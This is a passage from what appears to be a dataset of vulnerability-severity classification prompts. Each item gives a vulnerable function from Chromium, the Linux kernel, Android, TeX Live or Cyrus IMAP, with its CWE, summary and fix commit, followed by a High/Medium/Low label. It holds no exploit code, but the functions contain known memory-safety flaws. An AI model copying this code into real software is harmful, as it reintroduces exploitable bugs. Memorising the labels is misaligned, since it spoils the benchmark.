platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.h: (RTCPeerConnectionHandlerChromium): Tools: * DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.cpp: (MockWebRTCPeerConnectionHandler::SuccessCallbackTask::SuccessCallbackTask): (MockWebRTCPeerConnectionHandler::SuccessCallbackTask::runIfValid): (MockWebRTCPeerConnectionHandler::FailureCallbackTask::FailureCallbackTask): (MockWebRTCPeerConnectionHandler::FailureCallbackTask::runIfValid): (MockWebRTCPeerConnectionHandler::createOffer): * DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.h: (MockWebRTCPeerConnectionHandler): (SuccessCallbackTask): (FailureCallbackTask): LayoutTests: * fast/mediastream/RTCPeerConnection-createOffer.html: * fast/mediastream/RTCPeerConnection-localDescription-expected.txt: Removed. * fast/mediastream/RTCPeerConnection-localDescription.html: Removed. * fast/mediastream/RTCPeerConnection-remoteDescription-expected.txt: Removed. * fast/mediastream/RTCPeerConnection-remoteDescription.html: Removed. git-svn-id: svn://svn.chromium.org/blink/trunk@127679 bbb929c8-8fbe-4397-9dbb-9b2b20218538
High
170,337
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: Node::InsertionNotificationRequest HTMLLinkElement::InsertedInto( ContainerNode& insertion_point) { HTMLElement::InsertedInto(insertion_point); LogAddElementIfIsolatedWorldAndInDocument("link", relAttr, hrefAttr); if (!insertion_point.isConnected()) return kInsertionDone; DCHECK(isConnected()); if (!ShouldLoadLink() && IsInShadowTree()) { String message = "HTML element <link> is ignored in shadow tree."; GetDocument().AddConsoleMessage(ConsoleMessage::Create( kJSMessageSource, kWarningMessageLevel, message)); return kInsertionDone; } GetDocument().GetStyleEngine().AddStyleSheetCandidateNode(*this); Process(); if (link_) link_->OwnerInserted(); return kInsertionDone; } Vulnerability Type: CWE ID: CWE-416 Summary: Incorrect handling of stylesheets leading to a use after free in Blink in Google Chrome prior to 71.0.3578.80 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. Commit Message: Avoid crash when setting rel=stylesheet on <link> in shadow root. Link elements in shadow roots without rel=stylesheet are currently not added as stylesheet candidates upon insertion. This causes a crash if rel=stylesheet is set (and then loaded) later. [email protected] Bug: 886753 Change-Id: Ia0de2c1edf43407950f973982ee1c262a909d220 Reviewed-on: https://chromium-review.googlesource.com/1242463 Commit-Queue: Anders Ruud <[email protected]> Reviewed-by: Rune Lillesveen <[email protected]> Cr-Commit-Position: refs/heads/master@{#593907}
Medium
172,586
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: BlobStorageContext::BlobFlattener::BlobFlattener( const BlobDataBuilder& input_builder, BlobEntry* output_blob, BlobStorageRegistry* registry) { const std::string& uuid = input_builder.uuid_; std::set<std::string> dependent_blob_uuids; size_t num_files_with_unknown_size = 0; size_t num_building_dependent_blobs = 0; bool found_memory_transport = false; bool found_file_transport = false; base::CheckedNumeric<uint64_t> checked_total_size = 0; base::CheckedNumeric<uint64_t> checked_total_memory_size = 0; base::CheckedNumeric<uint64_t> checked_transport_quota_needed = 0; base::CheckedNumeric<uint64_t> checked_copy_quota_needed = 0; for (scoped_refptr<BlobDataItem> input_item : input_builder.items_) { const DataElement& input_element = input_item->data_element(); DataElement::Type type = input_element.type(); uint64_t length = input_element.length(); RecordBlobItemSizeStats(input_element); if (IsBytes(type)) { DCHECK_NE(0 + DataElement::kUnknownSize, input_element.length()); found_memory_transport = true; if (found_file_transport) { status = BlobStatus::ERR_INVALID_CONSTRUCTION_ARGUMENTS; return; } contains_unpopulated_transport_items |= (type == DataElement::TYPE_BYTES_DESCRIPTION); checked_transport_quota_needed += length; checked_total_size += length; scoped_refptr<ShareableBlobDataItem> item = new ShareableBlobDataItem( std::move(input_item), ShareableBlobDataItem::QUOTA_NEEDED); pending_transport_items.push_back(item); transport_items.push_back(item.get()); output_blob->AppendSharedBlobItem(std::move(item)); continue; } if (type == DataElement::TYPE_BLOB) { BlobEntry* ref_entry = registry->GetEntry(input_element.blob_uuid()); if (!ref_entry || input_element.blob_uuid() == uuid) { status = BlobStatus::ERR_INVALID_CONSTRUCTION_ARGUMENTS; return; } if (BlobStatusIsError(ref_entry->status())) { status = BlobStatus::ERR_REFERENCED_BLOB_BROKEN; return; } if (ref_entry->total_size() == DataElement::kUnknownSize) { status = BlobStatus::ERR_INVALID_CONSTRUCTION_ARGUMENTS; return; } if (dependent_blob_uuids.find(input_element.blob_uuid()) == dependent_blob_uuids.end()) { dependent_blobs.push_back( std::make_pair(input_element.blob_uuid(), ref_entry)); dependent_blob_uuids.insert(input_element.blob_uuid()); if (BlobStatusIsPending(ref_entry->status())) { num_building_dependent_blobs++; } } length = length == DataElement::kUnknownSize ? ref_entry->total_size() : input_element.length(); checked_total_size += length; if (input_element.offset() == 0 && length == ref_entry->total_size()) { for (const auto& shareable_item : ref_entry->items()) { output_blob->AppendSharedBlobItem(shareable_item); } continue; } if (input_element.offset() + length > ref_entry->total_size()) { status = BlobStatus::ERR_INVALID_CONSTRUCTION_ARGUMENTS; return; } BlobSlice slice(*ref_entry, input_element.offset(), length); if (!slice.copying_memory_size.IsValid() || !slice.total_memory_size.IsValid()) { status = BlobStatus::ERR_INVALID_CONSTRUCTION_ARGUMENTS; return; } checked_total_memory_size += slice.total_memory_size; if (slice.first_source_item) { copies.push_back(ItemCopyEntry(slice.first_source_item, slice.first_item_slice_offset, slice.dest_items.front())); pending_copy_items.push_back(slice.dest_items.front()); } if (slice.last_source_item) { copies.push_back( ItemCopyEntry(slice.last_source_item, 0, slice.dest_items.back())); pending_copy_items.push_back(slice.dest_items.back()); } checked_copy_quota_needed += slice.copying_memory_size; for (auto& shareable_item : slice.dest_items) { output_blob->AppendSharedBlobItem(std::move(shareable_item)); } continue; } scoped_refptr<ShareableBlobDataItem> item; if (BlobDataBuilder::IsFutureFileItem(input_element)) { found_file_transport = true; if (found_memory_transport) { status = BlobStatus::ERR_INVALID_CONSTRUCTION_ARGUMENTS; return; } contains_unpopulated_transport_items = true; item = new ShareableBlobDataItem(std::move(input_item), ShareableBlobDataItem::QUOTA_NEEDED); pending_transport_items.push_back(item); transport_items.push_back(item.get()); checked_transport_quota_needed += length; } else { item = new ShareableBlobDataItem( std::move(input_item), ShareableBlobDataItem::POPULATED_WITHOUT_QUOTA); } if (length == DataElement::kUnknownSize) num_files_with_unknown_size++; checked_total_size += length; output_blob->AppendSharedBlobItem(std::move(item)); } if (num_files_with_unknown_size > 1 && input_builder.items_.size() > 1) { status = BlobStatus::ERR_INVALID_CONSTRUCTION_ARGUMENTS; return; } if (!checked_total_size.IsValid() || !checked_total_memory_size.IsValid() || !checked_transport_quota_needed.IsValid() || !checked_copy_quota_needed.IsValid()) { status = BlobStatus::ERR_INVALID_CONSTRUCTION_ARGUMENTS; return; } total_size = checked_total_size.ValueOrDie(); total_memory_size = checked_total_memory_size.ValueOrDie(); transport_quota_needed = checked_transport_quota_needed.ValueOrDie(); copy_quota_needed = checked_copy_quota_needed.ValueOrDie(); transport_quota_type = found_file_transport ? TransportQuotaType::FILE : TransportQuotaType::MEMORY; if (transport_quota_needed) { status = BlobStatus::PENDING_QUOTA; } else { status = BlobStatus::PENDING_INTERNALS; } } Vulnerability Type: Overflow CWE ID: CWE-119 Summary: Heap buffer overflow in Blob API in Google Chrome prior to 63.0.3239.84 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page, aka a Blink out-of-bounds read. Commit Message: [BlobStorage] Fixing potential overflow Bug: 779314 Change-Id: I74612639d20544e4c12230569c7b88fbe669ec03 Reviewed-on: https://chromium-review.googlesource.com/747725 Reviewed-by: Victor Costan <[email protected]> Commit-Queue: Daniel Murphy <[email protected]> Cr-Commit-Position: refs/heads/master@{#512977}
Medium
172,927
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: SMB2_write(const unsigned int xid, struct cifs_io_parms *io_parms, unsigned int *nbytes, struct kvec *iov, int n_vec) { struct smb_rqst rqst; int rc = 0; struct smb2_write_req *req = NULL; struct smb2_write_rsp *rsp = NULL; int resp_buftype; struct kvec rsp_iov; int flags = 0; unsigned int total_len; *nbytes = 0; if (n_vec < 1) return rc; rc = smb2_plain_req_init(SMB2_WRITE, io_parms->tcon, (void **) &req, &total_len); if (rc) return rc; if (io_parms->tcon->ses->server == NULL) return -ECONNABORTED; if (smb3_encryption_required(io_parms->tcon)) flags |= CIFS_TRANSFORM_REQ; req->sync_hdr.ProcessId = cpu_to_le32(io_parms->pid); req->PersistentFileId = io_parms->persistent_fid; req->VolatileFileId = io_parms->volatile_fid; req->WriteChannelInfoOffset = 0; req->WriteChannelInfoLength = 0; req->Channel = 0; req->Length = cpu_to_le32(io_parms->length); req->Offset = cpu_to_le64(io_parms->offset); req->DataOffset = cpu_to_le16( offsetof(struct smb2_write_req, Buffer)); req->RemainingBytes = 0; trace_smb3_write_enter(xid, io_parms->persistent_fid, io_parms->tcon->tid, io_parms->tcon->ses->Suid, io_parms->offset, io_parms->length); iov[0].iov_base = (char *)req; /* 1 for Buffer */ iov[0].iov_len = total_len - 1; memset(&rqst, 0, sizeof(struct smb_rqst)); rqst.rq_iov = iov; rqst.rq_nvec = n_vec + 1; rc = cifs_send_recv(xid, io_parms->tcon->ses, &rqst, &resp_buftype, flags, &rsp_iov); cifs_small_buf_release(req); rsp = (struct smb2_write_rsp *)rsp_iov.iov_base; if (rc) { trace_smb3_write_err(xid, req->PersistentFileId, io_parms->tcon->tid, io_parms->tcon->ses->Suid, io_parms->offset, io_parms->length, rc); cifs_stats_fail_inc(io_parms->tcon, SMB2_WRITE_HE); cifs_dbg(VFS, "Send error in write = %d\n", rc); } else { *nbytes = le32_to_cpu(rsp->DataLength); trace_smb3_write_done(xid, req->PersistentFileId, io_parms->tcon->tid, io_parms->tcon->ses->Suid, io_parms->offset, *nbytes); } free_rsp_buf(resp_buftype, rsp); return rc; } Vulnerability Type: CWE ID: CWE-416 Summary: An issue was discovered in the Linux kernel before 5.0.10. SMB2_write in fs/cifs/smb2pdu.c has a use-after-free. Commit Message: cifs: Fix use-after-free in SMB2_write There is a KASAN use-after-free: BUG: KASAN: use-after-free in SMB2_write+0x1342/0x1580 Read of size 8 at addr ffff8880b6a8e450 by task ln/4196 Should not release the 'req' because it will use in the trace. Fixes: eccb4422cf97 ("smb3: Add ftrace tracepoints for improved SMB3 debugging") Signed-off-by: ZhangXiaoxu <[email protected]> Signed-off-by: Steve French <[email protected]> CC: Stable <[email protected]> 4.18+ Reviewed-by: Pavel Shilovsky <[email protected]>
High
169,526
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static void nfs_set_open_stateid(struct nfs4_state *state, nfs4_stateid *stateid, int open_flags) { write_seqlock(&state->seqlock); nfs_set_open_stateid_locked(state, stateid, open_flags); write_sequnlock(&state->seqlock); } Vulnerability Type: DoS CWE ID: Summary: The encode_share_access function in fs/nfs/nfs4xdr.c in the Linux kernel before 2.6.29 allows local users to cause a denial of service (BUG and system crash) by using the mknod system call with a pathname on an NFSv4 filesystem. Commit Message: NFSv4: Convert the open and close ops to use fmode Signed-off-by: Trond Myklebust <[email protected]>
Medium
165,705
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: OMX_ERRORTYPE SoftMPEG4Encoder::internalGetParameter( OMX_INDEXTYPE index, OMX_PTR params) { switch (index) { case OMX_IndexParamVideoBitrate: { OMX_VIDEO_PARAM_BITRATETYPE *bitRate = (OMX_VIDEO_PARAM_BITRATETYPE *) params; if (bitRate->nPortIndex != 1) { return OMX_ErrorUndefined; } bitRate->eControlRate = OMX_Video_ControlRateVariable; bitRate->nTargetBitrate = mBitrate; return OMX_ErrorNone; } case OMX_IndexParamVideoH263: { OMX_VIDEO_PARAM_H263TYPE *h263type = (OMX_VIDEO_PARAM_H263TYPE *)params; if (h263type->nPortIndex != 1) { return OMX_ErrorUndefined; } h263type->nAllowedPictureTypes = (OMX_VIDEO_PictureTypeI | OMX_VIDEO_PictureTypeP); h263type->eProfile = OMX_VIDEO_H263ProfileBaseline; h263type->eLevel = OMX_VIDEO_H263Level45; h263type->bPLUSPTYPEAllowed = OMX_FALSE; h263type->bForceRoundingTypeToZero = OMX_FALSE; h263type->nPictureHeaderRepetition = 0; h263type->nGOBHeaderInterval = 0; return OMX_ErrorNone; } case OMX_IndexParamVideoMpeg4: { OMX_VIDEO_PARAM_MPEG4TYPE *mpeg4type = (OMX_VIDEO_PARAM_MPEG4TYPE *)params; if (mpeg4type->nPortIndex != 1) { return OMX_ErrorUndefined; } mpeg4type->eProfile = OMX_VIDEO_MPEG4ProfileCore; mpeg4type->eLevel = OMX_VIDEO_MPEG4Level2; mpeg4type->nAllowedPictureTypes = (OMX_VIDEO_PictureTypeI | OMX_VIDEO_PictureTypeP); mpeg4type->nBFrames = 0; mpeg4type->nIDCVLCThreshold = 0; mpeg4type->bACPred = OMX_TRUE; mpeg4type->nMaxPacketSize = 256; mpeg4type->nTimeIncRes = 1000; mpeg4type->nHeaderExtension = 0; mpeg4type->bReversibleVLC = OMX_FALSE; return OMX_ErrorNone; } default: return SoftVideoEncoderOMXComponent::internalGetParameter(index, params); } } Vulnerability Type: Overflow +Priv CWE ID: CWE-119 Summary: mediaserver in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-06-01 does not validate OMX buffer sizes, which allows attackers to gain privileges via a crafted application, as demonstrated by obtaining Signature or SignatureOrSystem access, aka internal bug 27207275. Commit Message: DO NOT MERGE Verify OMX buffer sizes prior to access Bug: 27207275 Change-Id: I4412825d1ee233d993af0a67708bea54304ff62d
High
174,209
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: key_ref_t keyring_search(key_ref_t keyring, struct key_type *type, const char *description) { struct keyring_search_context ctx = { .index_key.type = type, .index_key.description = description, .cred = current_cred(), .match_data.cmp = type->match, .match_data.raw_data = description, .match_data.lookup_type = KEYRING_SEARCH_LOOKUP_DIRECT, .flags = KEYRING_SEARCH_DO_STATE_CHECK, }; key_ref_t key; int ret; if (!ctx.match_data.cmp) return ERR_PTR(-ENOKEY); if (type->match_preparse) { ret = type->match_preparse(&ctx.match_data); if (ret < 0) return ERR_PTR(ret); } key = keyring_search_aux(keyring, &ctx); if (type->match_free) type->match_free(&ctx.match_data); return key; } Vulnerability Type: DoS +Priv CWE ID: CWE-476 Summary: The KEYS subsystem in the Linux kernel before 3.18 allows local users to gain privileges or cause a denial of service (NULL pointer dereference and system crash) via vectors involving a NULL value for a certain match field, related to the keyring_search_iterator function in keyring.c. Commit Message: KEYS: Remove key_type::match in favour of overriding default by match_preparse A previous patch added a ->match_preparse() method to the key type. This is allowed to override the function called by the iteration algorithm. Therefore, we can just set a default that simply checks for an exact match of the key description with the original criterion data and allow match_preparse to override it as needed. The key_type::match op is then redundant and can be removed, as can the user_match() function. Signed-off-by: David Howells <[email protected]> Acked-by: Vivek Goyal <[email protected]>
High
168,440
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static void t1_check_unusual_charstring(void) { char *p = strstr(t1_line_array, charstringname) + strlen(charstringname); int i; /*tex If no number follows |/CharStrings|, let's read the next line. */ if (sscanf(p, "%i", &i) != 1) { strcpy(t1_buf_array, t1_line_array); t1_getline(); strcat(t1_buf_array, t1_line_array); strcpy(t1_line_array, t1_buf_array); t1_line_ptr = eol(t1_line_array); } } Vulnerability Type: Exec Code Overflow CWE ID: CWE-119 Summary: An issue was discovered in t1_check_unusual_charstring functions in writet1.c files in TeX Live before 2018-09-21. A buffer overflow in the handling of Type 1 fonts allows arbitrary code execution when a malicious font is loaded by one of the vulnerable tools: pdflatex, pdftex, dvips, or luatex. Commit Message: writet1 protection against buffer overflow git-svn-id: svn://tug.org/texlive/trunk/Build/source@48697 c570f23f-e606-0410-a88d-b1316a301751
Medium
169,021
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static void cmdloop(void) { int c; int usinguid, havepartition, havenamespace, recursive; static struct buf tag, cmd, arg1, arg2, arg3; char *p, shut[MAX_MAILBOX_PATH+1], cmdname[100]; const char *err; const char * commandmintimer; double commandmintimerd = 0.0; struct sync_reserve_list *reserve_list = sync_reserve_list_create(SYNC_MESSAGE_LIST_HASH_SIZE); struct applepushserviceargs applepushserviceargs; prot_printf(imapd_out, "* OK [CAPABILITY "); capa_response(CAPA_PREAUTH); prot_printf(imapd_out, "]"); if (config_serverinfo) prot_printf(imapd_out, " %s", config_servername); if (config_serverinfo == IMAP_ENUM_SERVERINFO_ON) { prot_printf(imapd_out, " Cyrus IMAP %s", cyrus_version()); } prot_printf(imapd_out, " server ready\r\n"); /* clear cancelled flag if present before the next command */ cmd_cancelled(); motd_file(); /* Get command timer logging paramater. This string * is a time in seconds. Any command that takes >= * this time to execute is logged */ commandmintimer = config_getstring(IMAPOPT_COMMANDMINTIMER); cmdtime_settimer(commandmintimer ? 1 : 0); if (commandmintimer) { commandmintimerd = atof(commandmintimer); } for (;;) { /* Release any held index */ index_release(imapd_index); /* Flush any buffered output */ prot_flush(imapd_out); if (backend_current) prot_flush(backend_current->out); /* command no longer running */ proc_register(config_ident, imapd_clienthost, imapd_userid, index_mboxname(imapd_index), NULL); /* Check for shutdown file */ if ( !imapd_userisadmin && imapd_userid && (shutdown_file(shut, sizeof(shut)) || userdeny(imapd_userid, config_ident, shut, sizeof(shut)))) { for (p = shut; *p == '['; p++); /* can't have [ be first char */ prot_printf(imapd_out, "* BYE [ALERT] %s\r\n", p); telemetry_rusage(imapd_userid); shut_down(0); } signals_poll(); if (!proxy_check_input(protin, imapd_in, imapd_out, backend_current ? backend_current->in : NULL, NULL, 0)) { /* No input from client */ continue; } /* Parse tag */ c = getword(imapd_in, &tag); if (c == EOF) { if ((err = prot_error(imapd_in))!=NULL && strcmp(err, PROT_EOF_STRING)) { syslog(LOG_WARNING, "%s, closing connection", err); prot_printf(imapd_out, "* BYE %s\r\n", err); } goto done; } if (c != ' ' || !imparse_isatom(tag.s) || (tag.s[0] == '*' && !tag.s[1])) { prot_printf(imapd_out, "* BAD Invalid tag\r\n"); eatline(imapd_in, c); continue; } /* Parse command name */ c = getword(imapd_in, &cmd); if (!cmd.s[0]) { prot_printf(imapd_out, "%s BAD Null command\r\n", tag.s); eatline(imapd_in, c); continue; } lcase(cmd.s); xstrncpy(cmdname, cmd.s, 99); cmd.s[0] = toupper((unsigned char) cmd.s[0]); if (config_getswitch(IMAPOPT_CHATTY)) syslog(LOG_NOTICE, "command: %s %s", tag.s, cmd.s); proc_register(config_ident, imapd_clienthost, imapd_userid, index_mboxname(imapd_index), cmd.s); /* if we need to force a kick, do so */ if (referral_kick) { kick_mupdate(); referral_kick = 0; } if (plaintextloginalert) { prot_printf(imapd_out, "* OK [ALERT] %s\r\n", plaintextloginalert); plaintextloginalert = NULL; } /* Only Authenticate/Enable/Login/Logout/Noop/Capability/Id/Starttls allowed when not logged in */ if (!imapd_userid && !strchr("AELNCIS", cmd.s[0])) goto nologin; /* Start command timer */ cmdtime_starttimer(); /* note that about half the commands (the common ones that don't hit the mailboxes file) now close the mailboxes file just in case it was open. */ switch (cmd.s[0]) { case 'A': if (!strcmp(cmd.s, "Authenticate")) { int haveinitresp = 0; if (c != ' ') goto missingargs; c = getword(imapd_in, &arg1); if (!imparse_isatom(arg1.s)) { prot_printf(imapd_out, "%s BAD Invalid authenticate mechanism\r\n", tag.s); eatline(imapd_in, c); continue; } if (c == ' ') { haveinitresp = 1; c = getword(imapd_in, &arg2); if (c == EOF) goto missingargs; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; if (imapd_userid) { prot_printf(imapd_out, "%s BAD Already authenticated\r\n", tag.s); continue; } cmd_authenticate(tag.s, arg1.s, haveinitresp ? arg2.s : NULL); snmp_increment(AUTHENTICATE_COUNT, 1); } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Append")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_append(tag.s, arg1.s, NULL); snmp_increment(APPEND_COUNT, 1); } else goto badcmd; break; case 'C': if (!strcmp(cmd.s, "Capability")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_capability(tag.s); snmp_increment(CAPABILITY_COUNT, 1); } else if (!imapd_userid) goto nologin; #ifdef HAVE_ZLIB else if (!strcmp(cmd.s, "Compress")) { if (c != ' ') goto missingargs; c = getword(imapd_in, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_compress(tag.s, arg1.s); snmp_increment(COMPRESS_COUNT, 1); } #endif /* HAVE_ZLIB */ else if (!strcmp(cmd.s, "Check")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_noop(tag.s, cmd.s); snmp_increment(CHECK_COUNT, 1); } else if (!strcmp(cmd.s, "Copy")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; copy: c = getword(imapd_in, &arg1); if (c == '\r') goto missingargs; if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_copy(tag.s, arg1.s, arg2.s, usinguid, /*ismove*/0); snmp_increment(COPY_COUNT, 1); } else if (!strcmp(cmd.s, "Create")) { struct dlist *extargs = NULL; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == ' ') { c = parsecreateargs(&extargs); if (c == EOF) goto badpartition; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_create(tag.s, arg1.s, extargs, 0); dlist_free(&extargs); snmp_increment(CREATE_COUNT, 1); } else if (!strcmp(cmd.s, "Close")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_close(tag.s, cmd.s); snmp_increment(CLOSE_COUNT, 1); } else goto badcmd; break; case 'D': if (!strcmp(cmd.s, "Delete")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_delete(tag.s, arg1.s, 0, 0); snmp_increment(DELETE_COUNT, 1); } else if (!strcmp(cmd.s, "Deleteacl")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_setacl(tag.s, arg1.s, arg2.s, NULL); snmp_increment(DELETEACL_COUNT, 1); } else if (!strcmp(cmd.s, "Dump")) { int uid_start = 0; if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c == ' ') { c = getastring(imapd_in, imapd_out, &arg2); if(!imparse_isnumber(arg2.s)) goto extraargs; uid_start = atoi(arg2.s); } if(c == '\r') c = prot_getc(imapd_in); if(c != '\n') goto extraargs; cmd_dump(tag.s, arg1.s, uid_start); /* snmp_increment(DUMP_COUNT, 1);*/ } else goto badcmd; break; case 'E': if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Enable")) { if (c != ' ') goto missingargs; cmd_enable(tag.s); } else if (!strcmp(cmd.s, "Expunge")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_expunge(tag.s, 0); snmp_increment(EXPUNGE_COUNT, 1); } else if (!strcmp(cmd.s, "Examine")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; prot_ungetc(c, imapd_in); cmd_select(tag.s, cmd.s, arg1.s); snmp_increment(EXAMINE_COUNT, 1); } else goto badcmd; break; case 'F': if (!strcmp(cmd.s, "Fetch")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; fetch: c = getword(imapd_in, &arg1); if (c == '\r') goto missingargs; if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; cmd_fetch(tag.s, arg1.s, usinguid); snmp_increment(FETCH_COUNT, 1); } else goto badcmd; break; case 'G': if (!strcmp(cmd.s, "Getacl")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_getacl(tag.s, arg1.s); snmp_increment(GETACL_COUNT, 1); } else if (!strcmp(cmd.s, "Getannotation")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_getannotation(tag.s, arg1.s); snmp_increment(GETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Getmetadata")) { if (c != ' ') goto missingargs; cmd_getmetadata(tag.s); snmp_increment(GETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Getquota")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_getquota(tag.s, arg1.s); snmp_increment(GETQUOTA_COUNT, 1); } else if (!strcmp(cmd.s, "Getquotaroot")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_getquotaroot(tag.s, arg1.s); snmp_increment(GETQUOTAROOT_COUNT, 1); } #ifdef HAVE_SSL else if (!strcmp(cmd.s, "Genurlauth")) { if (c != ' ') goto missingargs; cmd_genurlauth(tag.s); /* snmp_increment(GENURLAUTH_COUNT, 1);*/ } #endif else goto badcmd; break; case 'I': if (!strcmp(cmd.s, "Id")) { if (c != ' ') goto missingargs; cmd_id(tag.s); snmp_increment(ID_COUNT, 1); } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Idle") && idle_enabled()) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_idle(tag.s); snmp_increment(IDLE_COUNT, 1); } else goto badcmd; break; case 'L': if (!strcmp(cmd.s, "Login")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c != ' ') goto missingargs; cmd_login(tag.s, arg1.s); snmp_increment(LOGIN_COUNT, 1); } else if (!strcmp(cmd.s, "Logout")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; snmp_increment(LOGOUT_COUNT, 1); /* force any responses from our selected backend */ if (backend_current) imapd_check(NULL, 0); prot_printf(imapd_out, "* BYE %s\r\n", error_message(IMAP_BYE_LOGOUT)); prot_printf(imapd_out, "%s OK %s\r\n", tag.s, error_message(IMAP_OK_COMPLETED)); if (imapd_userid && *imapd_userid) { telemetry_rusage(imapd_userid); } goto done; } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "List")) { struct listargs listargs; if (c != ' ') goto missingargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.ret = LIST_RET_CHILDREN; getlistargs(tag.s, &listargs); if (listargs.pat.count) cmd_list(tag.s, &listargs); snmp_increment(LIST_COUNT, 1); } else if (!strcmp(cmd.s, "Lsub")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.cmd = LIST_CMD_LSUB; listargs.sel = LIST_SEL_SUBSCRIBED; if (!strcasecmpsafe(imapd_magicplus, "+dav")) listargs.sel |= LIST_SEL_DAV; listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); cmd_list(tag.s, &listargs); snmp_increment(LSUB_COUNT, 1); } else if (!strcmp(cmd.s, "Listrights")) { c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_listrights(tag.s, arg1.s, arg2.s); snmp_increment(LISTRIGHTS_COUNT, 1); } else if (!strcmp(cmd.s, "Localappend")) { /* create a local-only mailbox */ if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, 